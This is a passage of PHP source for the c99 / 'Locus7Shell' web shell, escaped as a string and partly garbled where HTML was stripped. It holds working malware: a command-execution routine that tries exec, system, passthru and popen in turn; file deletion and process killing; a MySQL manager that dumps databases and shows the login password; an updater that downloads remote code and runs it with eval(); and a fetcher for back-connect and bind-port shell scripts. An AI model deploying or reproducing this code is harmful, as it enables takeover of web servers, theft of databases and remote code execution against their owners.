$sess_data[\"cut\"] = array_unique($sess_data[\"cut\"]); sort($sess_data[\"copy\"]); sort($sess_data[\"cut\"]); if ($act != \"copy\") {foreach($sess_data[\"cut\"] as $k=>$v) {if ($sess_data[\"copy\"][$k] == $v) {unset($sess_data[\"copy\"][$k]); }}} else {foreach($sess_data[\"copy\"] as $k=>$v) {if ($sess_data[\"cut\"][$k] == $v) {unset($sess_data[\"cut\"][$k]);}}} } } c99_buff_prepare(); if (!function_exists(\"c99_sess_put\")) { function c99_sess_put($data) { global $sess_cookie; global $sess_data; c99_buff_prepare(); $sess_data = $data; $data = serialize($data); setcookie($sess_cookie,$data); } } foreach (array(\"sort\",\"sql_sort\") as $v) { if (!empty($_GET[$v])) {$$v = $_GET[$v];} if (!empty($_POST[$v])) {$$v = $_POST[$v];} } if ($sort_save) { if (!empty($sort)) {setcookie(\"sort\",$sort);} if (!empty($sql_sort)) {setcookie(\"sql_sort\",$sql_sort);} } if (!function_exists(\"str2mini\")) { function str2mini($content,$len) { if (strlen($content) > $len) { $len = ceil($len/2) - 2; return substr($content, 0,$len).\"...\".substr($content,-$len); } else {return $content;} } } if (!function_exists(\"view_size\")) { function view_size($size) { if (!is_numeric($size)) {return FALSE;} else { if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 .\" GB\";} elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 .\" MB\";} elseif ($size >= 1024) {$size = round($size/1024*100)/100 .\" KB\";} else {$size = $size . \" B\";} return $size; } } } if (!function_exists(\"fs_copy_dir\")) { function fs_copy_dir($d,$t) { $d = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,$d); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($o = readdir($h)) !== FALSE) { if (($o != \".\") and ($o != \"..\")) { if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} if (!$ret) {return $ret;} } } closedir($h); return TRUE; } } if (!function_exists(\"fs_copy_obj\")) { function fs_copy_obj($d,$t) { $d = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,$d); $t = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,$t); if (!is_dir(dirname($t))) {mkdir(dirname($t));} if (is_dir($d)) { if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_copy_dir($d,$t); } elseif (is_file($d)) {return copy($d,$t);} else {return FALSE;} } } if (!function_exists(\"fs_move_dir\")) { function fs_move_dir($d,$t) { $h = opendir($d); if (!is_dir($t)) {mkdir($t);} while (($o = readdir($h)) !== FALSE) { if (($o != \".\") and ($o != \"..\")) { $ret = TRUE; if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} if (!$ret) {return $ret;} } } closedir($h); return TRUE; } } if (!function_exists(\"fs_move_obj\")) { function fs_move_obj($d,$t) { $d = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,$d); $t = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,$t); if (is_dir($d)) { if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_move_dir($d,$t); } elseif (is_file($d)) { if(copy($d,$t)) {return unlink($d);} else {unlink($t); return FALSE;} } else {return FALSE;} } } if (!function_exists(\"fs_rmdir\")) { function fs_rmdir($d) { $h = opendir($d); while (($o = readdir($h)) !== FALSE) { if (($o != \".\") and ($o != \"..\")) { if (!is_dir($d.$o)) {unlink($d.$o);} else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} } } closedir($h); rmdir($d); return !is_dir($d); } } if (!function_exists(\"fs_rmobj\")) { function fs_rmobj($o) { $o = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,$o); if (is_dir($o)) { if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} return fs_rmdir($o); } elseif (is_file($o)) {return unlink($o);} else {return FALSE;} } } if (!function_exists(\"myshellexec\")) { function myshellexec($cmd) { global $disablefunc; $result = \"\"; if (!empty($cmd)) { if (is_callable(\"exec\") and !in_array(\"exec\",$disablefunc)) {exec($cmd,$result); $result = join(\"\\n\",$result);} elseif (($result = `$cmd`) !== FALSE) {} elseif (is_callable(\"system\") and !in_array(\"system\",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} elseif (is_callable(\"passthru\") and !in_array(\"passthru\",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} elseif (is_resource($fp = popen($cmd,\"r\"))) { $result = \"\"; while(!feof($fp)) {$result .= fread($fp,1024);} pclose($fp); } } return $result; } } if (!function_exists(\"tabsort\")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} if (!function_exists(\"view_perms\")) { function view_perms($mode) { if (($mode & 0xC000) === 0xC000) {$type = \"s\";} elseif (($mode & 0x4000) === 0x4000) {$type = \"d\";} elseif (($mode & 0xA000) === 0xA000) {$type = \"l\";} elseif (($mode & 0x8000) === 0x8000) {$type = \"-\";} elseif (($mode & 0x6000) === 0x6000) {$type = \"b\";} elseif (($mode & 0x2000) === 0x2000) {$type = \"c\";} elseif (($mode & 0x1000) === 0x1000) {$type = \"p\";} else {$type = \"?\";} $owner[\"read\"] = ($mode & 00400)?\"r\":\"-\"; $owner[\"write\"] = ($mode & 00200)?\"w\":\"-\"; $owner[\"execute\"] = ($mode & 00100)?\"x\":\"-\"; $group[\"read\"] = ($mode & 00040)?\"r\":\"-\"; $group[\"write\"] = ($mode & 00020)?\"w\":\"-\"; $group[\"execute\"] = ($mode & 00010)?\"x\":\"-\"; $world[\"read\"] = ($mode & 00004)?\"r\":\"-\"; $world[\"write\"] = ($mode & 00002)? \"w\":\"-\"; $world[\"execute\"] = ($mode & 00001)?\"x\":\"-\"; if ($mode & 0x800) {$owner[\"execute\"] = ($owner[\"execute\"] == \"x\")?\"s\":\"S\";} if ($mode & 0x400) {$group[\"execute\"] = ($group[\"execute\"] == \"x\")?\"s\":\"S\";} if ($mode & 0x200) {$world[\"execute\"] = ($world[\"execute\"] == \"x\")?\"t\":\"T\";} return $type.join(\"\",$owner).join(\"\",$group).join(\"\",$world); } } if (!function_exists(\"posix_getpwuid\") and !in_array(\"posix_getpwuid\",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} if (!function_exists(\"posix_getgrgid\") and !in_array(\"posix_getgrgid\",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} if (!function_exists(\"posix_kill\") and !in_array(\"posix_kill\",$disablefunc)) {function posix_kill($gid) {return FALSE;}} if (!function_exists(\"parse_perms\")) { function parse_perms($mode) { if (($mode & 0xC000) === 0xC000) {$t = \"s\";} elseif (($mode & 0x4000) === 0x4000) {$t = \"d\";} elseif (($mode & 0xA000) === 0xA000) {$t = \"l\";} elseif (($mode & 0x8000) === 0x8000) {$t = \"-\";} elseif (($mode & 0x6000) === 0x6000) {$t = \"b\";} elseif (($mode & 0x2000) === 0x2000) {$t = \"c\";} elseif (($mode & 0x1000) === 0x1000) {$t = \"p\";} else {$t = \"?\";} $o[\"r\"] = ($mode & 00400) > 0; $o[\"w\"] = ($mode & 00200) > 0; $o[\"x\"] = ($mode & 00100) > 0; $g[\"r\"] = ($mode & 00040) > 0; $g[\"w\"] = ($mode & 00020) > 0; $g[\"x\"] = ($mode & 00010) > 0; $w[\"r\"] = ($mode & 00004) > 0; $w[\"w\"] = ($mode & 00002) > 0; $w[\"x\"] = ($mode & 00001) > 0; return array(\"t\"=>$t,\"o\"=>$o,\"g\"=>$g,\"w\"=>$w); } } if (!function_exists(\"parsesort\")) { function parsesort($sort) { $one = intval($sort); $second = substr($sort,-1); if ($second != \"d\") {$second = \"a\";} return array($one,$second); } } if (!function_exists(\"view_perms_color\")) { function view_perms_color($o) { if (!is_readable($o)) {return \"\".view_perms(fileperms($o)).\"\";} elseif (!is_writable($o)) {return \"\".view_perms(fileperms($o)).\"\";} else {return \"\".view_perms(fileperms($o)).\"\";} } } if (!function_exists(\"c99getsource\")) { function c99getsource($fn) { global $c99sh_sourcesurl; $array = array( \"c99sh_bindport.pl\" => \"c99sh_bindport_pl.txt\", \"c99sh_bindport.c\" => \"c99sh_bindport_c.txt\", \"c99sh_backconn.pl\" => \"c99sh_backconn_pl.txt\", \"c99sh_backconn.c\" => \"c99sh_backconn_c.txt\", \"c99sh_datapipe.pl\" => \"c99sh_datapipe_pl.txt\", \"c99sh_datapipe.c\" => \"c99sh_datapipe_c.txt\", ); $name = $array[$fn]; if ($name) {return file_get_contents($c99sh_sourcesurl.$name);} else {return FALSE;} } } if (!function_exists(\"c99sh_getupdate\")) { function c99sh_getupdate($update = TRUE) { $url = $GLOBALS[\"c99sh_updateurl\"].\"?version=\".urlencode(base64_encode($GLOBALS[\"shver\"])).\"&updatenow=\".($updatenow?\"1\":\"0\").\"&\"; $data = @file_get_contents($url); if (!$data) {return \"Can\'t connect to update-server!\";} else { $data = ltrim($data); $string = substr($data,3,ord($data{2})); if ($data{0} == \"\\x99\" and $data{1} == \"\\x01\") {return \"Error: \".$string; return FALSE;} if ($data{0} == \"\\x99\" and $data{1} == \"\\x02\") {return \"You are using latest version!\";} if ($data{0} == \"\\x99\" and $data{1} == \"\\x03\") { $string = explode(\"\\x01\",$string); if ($update) { $confvars = array(); $sourceurl = $string[0]; $source = file_get_contents($sourceurl); if (!$source) {return \"Can\'t fetch update!\";} else { $fp = fopen(__FILE__,\"w\"); if (!$fp) {return \"Local error: can\'t write update to \".__FILE__.\"! You may download c99shell.php manually here.\";} else {fwrite($fp,$source); fclose($fp); return \"Thanks! Updated with success.\";} } } else {return \"New version are available: \".$string[1];} } elseif ($data{0} == \"\\x99\" and $data{1} == \"\\x04\") {eval($string); return 1;} else {return \"Error in protocol: segmentation failed! (\".$data.\") \";} } } } if (!function_exists(\"mysql_dump\")) { function mysql_dump($set) { global $shver; $sock = $set[\"sock\"]; $db = $set[\"db\"]; $print = $set[\"print\"]; $nl2br = $set[\"nl2br\"]; $file = $set[\"file\"]; $add_drop = $set[\"add_drop\"]; $tabs = $set[\"tabs\"]; $onlytabs = $set[\"onlytabs\"]; $ret = array(); $ret[\"err\"] = array(); if (!is_resource($sock)) {echo(\"Error: \\$sock is not valid resource.\");} if (empty($db)) {$db = \"db\";} if (empty($print)) {$print = 0;} if (empty($nl2br)) {$nl2br = 0;} if (empty($add_drop)) {$add_drop = TRUE;} if (empty($file)) { $file = $tmpdir.\"dump_\".getenv(\"SERVER_NAME\").\"_\".$db.\"_\".date(\"d-m-Y-H-i-s\").\".sql\"; } if (!is_array($tabs)) {$tabs = array();} if (empty($add_drop)) {$add_drop = TRUE;} if (sizeof($tabs) == 0) { // retrive tables-list $res = mysql_query(\"SHOW TABLES FROM \".$db, $sock); if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} } $out = \"# Dumped by Locous7Shell.SQL v. \".$shver.\" # Home page: http://www.Locus7s.com # # Host settings: # MySQL version: (\".mysql_get_server_info().\") running on \".getenv(\"SERVER_ADDR\").\" (\".getenv(\"SERVER_NAME\").\")\".\" # Date: \".date(\"d.m.Y H:i:s\").\" # DB: \\\"\".$db.\"\\\" #--------------------------------------------------------- \"; $c = count($onlytabs); foreach($tabs as $tab) { if ((in_array($tab,$onlytabs)) or (!$c)) { if ($add_drop) {$out .= \"DROP TABLE IF EXISTS `\".$tab.\"`;\\n\";} // recieve query for create table structure $res = mysql_query(\"SHOW CREATE TABLE `\".$tab.\"`\", $sock); if (!$res) {$ret[\"err\"][] = mysql_smarterror();} else { $row = mysql_fetch_row($res); $out .= $row[\"1\"].\";\\n\\n\"; // recieve table variables $res = mysql_query(\"SELECT * FROM `$tab`\", $sock); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode(\"`, `\", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode(\"\', \'\", $values); $sql = \"INSERT INTO `$tab`(`\".$keys.\"`) VALUES (\'\".$values.\"\');\\n\"; $out .= $sql; } } } } } $out .= \"#---------------------------------------------------------------------------------\\n\\n\"; if ($file) { $fp = fopen($file, \"w\"); if (!$fp) {$ret[\"err\"][] = 2;} else { fwrite ($fp, $out); fclose ($fp); } } if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} return $out; } } if (!function_exists(\"mysql_buildwhere\")) { function mysql_buildwhere($array,$sep=\" and\",$functs=array()) { if (!is_array($array)) {$array = array();} $result = \"\"; foreach($array as $k=>$v) { $value = \"\"; if (!empty($functs[$k])) {$value .= $functs[$k].\"(\";} $value .= \"\'\".addslashes($v).\"\'\"; if (!empty($functs[$k])) {$value .= \")\";} $result .= \"`\".$k.\"` = \".$value.$sep; } $result = substr($result,0,strlen($result)-strlen($sep)); return $result; } } if (!function_exists(\"mysql_fetch_all\")) { function mysql_fetch_all($query,$sock) { if ($sock) {$result = mysql_query($query,$sock);} else {$result = mysql_query($query);} $array = array(); while ($row = mysql_fetch_array($result)) {$array[] = $row;} mysql_free_result($result); return $array; } } if (!function_exists(\"mysql_smarterror\")) { function mysql_smarterror($type,$sock) { if ($sock) {$error = mysql_error($sock);} else {$error = mysql_error();} $error = htmlspecialchars($error); return $error; } } if (!function_exists(\"mysql_query_form\")) { function mysql_query_form() { global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = \"Query was empty\";} echo \"Error:
\".$sql_query_error.\"
\";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) { echo \"\"; if ($tbl_struct) { echo \"
\"; if (($sql_query) and (!$submit)) {echo \"Do you really want to\";} else {echo \"SQL-Query\";} echo \":



 
Fields:
\"; foreach ($tbl_struct as $field) {$name = $field[\"Field\"]; echo \"+ \".$name.\"
\";} echo \"
\"; } } if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} } } if (!function_exists(\"mysql_create_db\")) { function mysql_create_db($db,$sock=\"\") { $sql = \"CREATE DATABASE `\".addslashes($db).\"`;\"; if ($sock) {return mysql_query($sql,$sock);} else {return mysql_query($sql);} } } if (!function_exists(\"mysql_query_parse\")) { function mysql_query_parse($query) { $query = trim($query); $arr = explode (\" \",$query); /*array array() { \"METHOD\"=>array(output_type), \"METHOD1\"... ... } if output_type == 0, no output, if output_type == 1, no output if no error if output_type == 2, output without control-buttons if output_type == 3, output with control-buttons */ $types = array( \"SELECT\"=>array(3,1), \"SHOW\"=>array(2,1), \"DELETE\"=>array(1), \"DROP\"=>array(1) ); $result = array(); $op = strtoupper($arr[0]); if (is_array($types[$op])) { $result[\"propertions\"] = $types[$op]; $result[\"query\"] = $query; if ($types[$op] == 2) { foreach($arr as $k=>$v) { if (strtoupper($v) == \"LIMIT\") { $result[\"limit\"] = $arr[$k+1]; $result[\"limit\"] = explode(\",\",$result[\"limit\"]); if (count($result[\"limit\"]) == 1) {$result[\"limit\"] = array(0,$result[\"limit\"][0]);} unset($arr[$k],$arr[$k+1]); } } } } else {return FALSE;} } } if (!function_exists(\"c99fsearch\")) { function c99fsearch($d) { global $found; global $found_d; global $found_f; global $search_i_f; global $search_i_d; global $a; if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($f = readdir($h)) !== FALSE) { if($f != \".\" && $f != \"..\") { $bool = (empty($a[\"name_regexp\"]) and strpos($f,$a[\"name\"]) !== FALSE) || ($a[\"name_regexp\"] and ereg($a[\"name\"],$f)); if (is_dir($d.$f)) { $search_i_d++; if (empty($a[\"text\"]) and $bool) {$found[] = $d.$f; $found_d++;} if (!is_link($d.$f)) {c99fsearch($d.$f);} } else { $search_i_f++; if ($bool) { if (!empty($a[\"text\"])) { $r = @file_get_contents($d.$f); if ($a[\"text_wwo\"]) {$a[\"text\"] = \" \".trim($a[\"text\"]).\" \";} if (!$a[\"text_cs\"]) {$a[\"text\"] = strtolower($a[\"text\"]); $r = strtolower($r);} if ($a[\"text_regexp\"]) {$bool = ereg($a[\"text\"],$r);} else {$bool = strpos(\" \".$r,$a[\"text\"],1);} if ($a[\"text_not\"]) {$bool = !$bool;} if ($bool) {$found[] = $d.$f; $found_f++;} } else {$found[] = $d.$f; $found_f++;} } } } } closedir($h); } } if ($act == \"gofile\") {if (is_dir($f)) {$act = \"ls\"; $d = $f;} else {$act = \"f\"; $d = dirname($f); $f = basename($f);}} //Sending headers @ob_start(); @ob_implicit_flush(0); function onphpshutdown() { global $gzipencode,$ft; if (!headers_sent() and $gzipencode and !in_array($ft,array(\"img\",\"download\",\"notepad\"))) { $v = @ob_get_contents(); @ob_end_clean(); @ob_start(\"ob_gzHandler\"); echo $v; @ob_end_flush(); } } function c99shexit() { onphpshutdown(); exit; } header(\"Expires: Mon, 26 Jul 1997 05:00:00 GMT\"); header(\"Last-Modified: \".gmdate(\"D, d M Y H:i:s\").\" GMT\"); header(\"Cache-Control: no-store, no-cache, must-revalidate\"); header(\"Cache-Control: post-check=0, pre-check=0\", FALSE); header(\"Pragma: no-cache\"); if (empty($tmpdir)) { $tmpdir = ini_get(\"upload_tmp_dir\"); if (is_dir($tmpdir)) {$tmpdir = \"/tmp/\";} } $tmpdir = realpath($tmpdir); $tmpdir = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,$tmpdir); if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} else {$tmpdir_logs = realpath($tmpdir_logs);} if (@ini_get(\"safe_mode\") or strtolower(@ini_get(\"safe_mode\")) == \"on\") { $safemode = TRUE; $hsafemode = \"ON (secure)\"; } else {$safemode = FALSE; $hsafemode = \"OFF (not secure)\";} $v = @ini_get(\"open_basedir\"); if ($v or strtolower($v) == \"on\") {$openbasedir = TRUE; $hopenbasedir = \"\".$v.\"\";} else {$openbasedir = FALSE; $hopenbasedir = \"OFF (not secure)\";} $sort = htmlspecialchars($sort); if (empty($sort)) {$sort = $sort_default;} $sort[1] = strtolower($sort[1]); $DISP_SERVER_SOFTWARE = getenv(\"SERVER_SOFTWARE\"); if (!ereg(\"PHP/\".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= \". PHP/\".phpversion();} $DISP_SERVER_SOFTWARE = str_replace(\"PHP/\".phpversion(),\"PHP/\".phpversion().\"\",htmlspecialchars($DISP_SERVER_SOFTWARE)); @ini_set(\"highlight.bg\",$highlight_bg); //FFFFFF @ini_set(\"highlight.comment\",$highlight_comment); //#FF8000 @ini_set(\"highlight.default\",$highlight_default); //#0000BB @ini_set(\"highlight.html\",$highlight_html); //#000000 @ini_set(\"highlight.keyword\",$highlight_keyword); //#007700 @ini_set(\"highlight.string\",$highlight_string); //#DD0000 if (!is_array($actbox)) {$actbox = array();} $dspact = $act = htmlspecialchars($act); $disp_fullpath = $ls_arr = $notls = null; $ud = urlencode($d); ?><?php echo getenv(\"HTTP_HOST\"); ?> - Locus7Shell

Software:  

uname -a: \",1); ?> 

\",1);} else {echo get_current_user();} ?> 

Safe-mode: 

\".htmlspecialchars($b).DIRECTORY_SEPARATOR.\"\"; $i++; } echo \"   \"; if (is_writable($d)) { $wd = TRUE; $wdt = \"[ ok ]\"; echo \"\".view_perms(fileperms($d)).\"\"; } else { $wd = FALSE; $wdt = \"[ Read-Only ]\"; echo \"\".view_perms_color($d).\"\"; } if (is_callable(\"disk_free_space\")) { $free = disk_free_space($d); $total = disk_total_space($d); if ($free === FALSE) {$free = 0;} if ($total === FALSE) {$total = 0;} if ($free < 0) {$free = 0;} if ($total < 0) {$total = 0;} $used = $total-$free; $free_percent = round(100/($total/$free),2); echo \"
Free \".view_size($free).\" of \".view_size($total).\" (\".$free_percent.\"%)\"; } echo \"
\"; echo \"Your ip: \".$_SERVER[\"REMOTE_ADDR\"].\" - Server ip: \".gethostbyname($_SERVER[\"HTTP_HOST\"]).\"
\"; $letters = \"\"; if ($win) { $v = explode(\"\\\\\",$d); $v = $v[0]; foreach (range(\"a\",\"z\") as $letter) { $bool = $isdiskette = in_array($letter,$safemode_diskettes); if (!$bool) {$bool = is_dir($letter.\":\\\\\");} if ($bool) { $letters .= \"[ \"; if ($letter.\":\" != $v) {$letters .= $letter;} else {$letters .= \"\".$letter.\"\";} $letters .= \" ] \"; } } if (!empty($letters)) {echo \"Detected drives: \".$letters.\"
\";} } if (count($quicklaunch) > 0) { foreach($quicklaunch as $item) { $item[1] = str_replace(\"%d\",urlencode($d),$item[1]); $item[1] = str_replace(\"%sort\",$sort,$item[1]); $v = realpath($d.\"..\"); if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} $item[1] = str_replace(\"%upd\",urlencode($v),$item[1]); echo \"\".$item[0].\"    \"; } } echo \"


\"; if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo \"
\".$donated_html.\"

\";} echo \"\"; $line = explode(\" \",$line); $line[10] = join(\" \",array_slice($line,10)); $line = array_slice($line,0,11); if ($line[0] == get_current_user()) {$line[0] = \"\".$line[0].\"\";} $line[] = \"KILL\"; $prcs[] = $line; echo \"\"; } } } else { while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);} while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);} while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);} while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);} while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);} while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);} while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);} while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);} while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);} while (ereg(\"\",$ret)) {$ret = str_replace(\"\",\"\",$ret);} while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);} $ret = convert_cyr_string($ret,\"d\",\"w\"); $stack = explode(\"\\n\",$ret); unset($stack[0],$stack[2]); $stack = array_values($stack); $head = explode(\"\",$stack[0]); $head[1] = explode(\" \",$head[1]); $head[1] = $head[1][0]; $stack = array_slice($stack,1); unset($head[2]); $head = array_values($head); if ($parsesort[1] != \"a\") {$y = \"\";} else {$y = \"\";} if ($k > count($head)) {$k = count($head)-1;} for($i=0;$i\".trim($head[$i]).\"\";} } $prcs = array(); foreach ($stack as $line) { if (!empty($line)) { echo \"\"; $line = explode(\"\",$line); $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); $line[2] = intval(str_replace(\" \",\"\",$line[2]))*1024; $prcs[] = $line; echo \"\"; } } } $head[$k] = \"\".$head[$k].\"\".$y; $v = $processes_sort[0]; usort($prcs,\"tabsort\"); if ($processes_sort[1] == \"d\") {$prcs = array_reverse($prcs);} $tab = array(); $tab[] = $head; $tab = array_merge($tab,$prcs); echo \"
\"; if ($act == \"\") {$act = $dspact = \"ls\";} if ($act == \"sql\") { $sql_surl = $surl.\"act=sql\"; if ($sql_login) {$sql_surl .= \"&sql_login=\".htmlspecialchars($sql_login);} if ($sql_passwd) {$sql_surl .= \"&sql_passwd=\".htmlspecialchars($sql_passwd);} if ($sql_server) {$sql_surl .= \"&sql_server=\".htmlspecialchars($sql_server);} if ($sql_port) {$sql_surl .= \"&sql_port=\".htmlspecialchars($sql_port);} if ($sql_db) {$sql_surl .= \"&sql_db=\".htmlspecialchars($sql_db);} $sql_surl .= \"&\"; ?>

Attention! SQL-Manager is NOT ready module! Don\'t reports bugs.

\"; if (!$sql_sock) {?>\"; } echo \"
SQL Manager:
\"; if (!$sql_sock) { if (!$sql_server) {echo \"NO CONNECTION\";} else {echo \"
Can\'t connect
\"; echo \"\".$err.\"\";} } else { $sqlquicklaunch = array(); $sqlquicklaunch[] = array(\"Index\",$surl.\"act=sql&sql_login=\".htmlspecialchars($sql_login).\"&sql_passwd=\".htmlspecialchars($sql_passwd).\"&sql_server=\".htmlspecialchars($sql_server).\"&sql_port=\".htmlspecialchars($sql_port).\"&\"); $sqlquicklaunch[] = array(\"Query\",$sql_surl.\"sql_act=query&sql_tbl=\".urlencode($sql_tbl)); $sqlquicklaunch[] = array(\"Server-status\",$surl.\"act=sql&sql_login=\".htmlspecialchars($sql_login).\"&sql_passwd=\".htmlspecialchars($sql_passwd).\"&sql_server=\".htmlspecialchars($sql_server).\"&sql_port=\".htmlspecialchars($sql_port).\"&sql_act=serverstatus\"); $sqlquicklaunch[] = array(\"Server variables\",$surl.\"act=sql&sql_login=\".htmlspecialchars($sql_login).\"&sql_passwd=\".htmlspecialchars($sql_passwd).\"&sql_server=\".htmlspecialchars($sql_server).\"&sql_port=\".htmlspecialchars($sql_port).\"&sql_act=servervars\"); $sqlquicklaunch[] = array(\"Processes\",$surl.\"act=sql&sql_login=\".htmlspecialchars($sql_login).\"&sql_passwd=\".htmlspecialchars($sql_passwd).\"&sql_server=\".htmlspecialchars($sql_server).\"&sql_port=\".htmlspecialchars($sql_port).\"&sql_act=processes\"); $sqlquicklaunch[] = array(\"Logout\",$surl.\"act=sql\"); echo \"
MySQL \".mysql_get_server_info().\" (proto v.\".mysql_get_proto_info ().\") running in \".htmlspecialchars($sql_server).\":\".htmlspecialchars($sql_port).\" as \".htmlspecialchars($sql_login).\"@\".htmlspecialchars($sql_server).\" (password - \\\"\".htmlspecialchars($sql_passwd).\"\\\")
\"; if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo \"[ \".$item[0].\" ] \";}} echo \"
\"; } echo \"
i
  • If login is null, login is owner of process.
  • If host is null, host is localhost
  • If port is null, port is 3306 (default)
  •  Please, fill the form:\" method=\"POST\">
    UsernamePassword Database 
    HostPORT
    \">Home
    \".htmlspecialchars($sql_db).\" ]---
    \"; $c = 0; while ($row = mysql_fetch_array($result)) {$count = mysql_query (\"SELECT COUNT(*) FROM \".$row[0]); $count_row = mysql_fetch_array($count); echo \"\".htmlspecialchars($row[0]).\" (\".$count_row[0].\")
    \"; mysql_free_result($count); $c++;} if (!$c) {echo \"No tables found in database.\";} } } else { ?>
    \">Home
    \">\">\">\">\">
    Please, select database
    \"; //Start center panel $diplay = TRUE; if ($sql_db) { if (!is_numeric($c)) {$c = 0;} if ($c == 0) {$c = \"no\";} echo \"
    There are \".$c.\" table(s) in this DB (\".htmlspecialchars($sql_db).\").
    \"; if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo \"[ \".$item[0].\" ] \";}} echo \"
    \"; $acts = array(\"\",\"dump\"); if ($sql_act == \"tbldrop\") {$sql_query = \"DROP TABLE\"; foreach($boxtbl as $v) {$sql_query .= \"\\n`\".$v.\"` ,\";} $sql_query = substr($sql_query,0,-1).\";\"; $sql_act = \"query\";} elseif ($sql_act == \"tblempty\") {$sql_query = \"\"; foreach($boxtbl as $v) {$sql_query .= \"DELETE FROM `\".$v.\"` \\n\";} $sql_act = \"query\";} elseif ($sql_act == \"tbldump\") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = \"dump\";} elseif ($sql_act == \"tblcheck\") {$sql_query = \"CHECK TABLE\"; foreach($boxtbl as $v) {$sql_query .= \"\\n`\".$v.\"` ,\";} $sql_query = substr($sql_query,0,-1).\";\"; $sql_act = \"query\";} elseif ($sql_act == \"tbloptimize\") {$sql_query = \"OPTIMIZE TABLE\"; foreach($boxtbl as $v) {$sql_query .= \"\\n`\".$v.\"` ,\";} $sql_query = substr($sql_query,0,-1).\";\"; $sql_act = \"query\";} elseif ($sql_act == \"tblrepair\") {$sql_query = \"REPAIR TABLE\"; foreach($boxtbl as $v) {$sql_query .= \"\\n`\".$v.\"` ,\";} $sql_query = substr($sql_query,0,-1).\";\"; $sql_act = \"query\";} elseif ($sql_act == \"tblanalyze\") {$sql_query = \"ANALYZE TABLE\"; foreach($boxtbl as $v) {$sql_query .= \"\\n`\".$v.\"` ,\";} $sql_query = substr($sql_query,0,-1).\";\"; $sql_act = \"query\";} elseif ($sql_act == \"deleterow\") {$sql_query = \"\"; if (!empty($boxrow_all)) {$sql_query = \"DELETE * FROM `\".$sql_tbl.\"`;\";} else {foreach($boxrow as $v) {$sql_query .= \"DELETE * FROM `\".$sql_tbl.\"` WHERE\".$v.\" LIMIT 1;\\n\";} $sql_query = substr($sql_query,0,-1);} $sql_act = \"query\";} elseif ($sql_tbl_act == \"insert\") { if ($sql_tbl_insert_radio == 1) { $keys = \"\"; $akeys 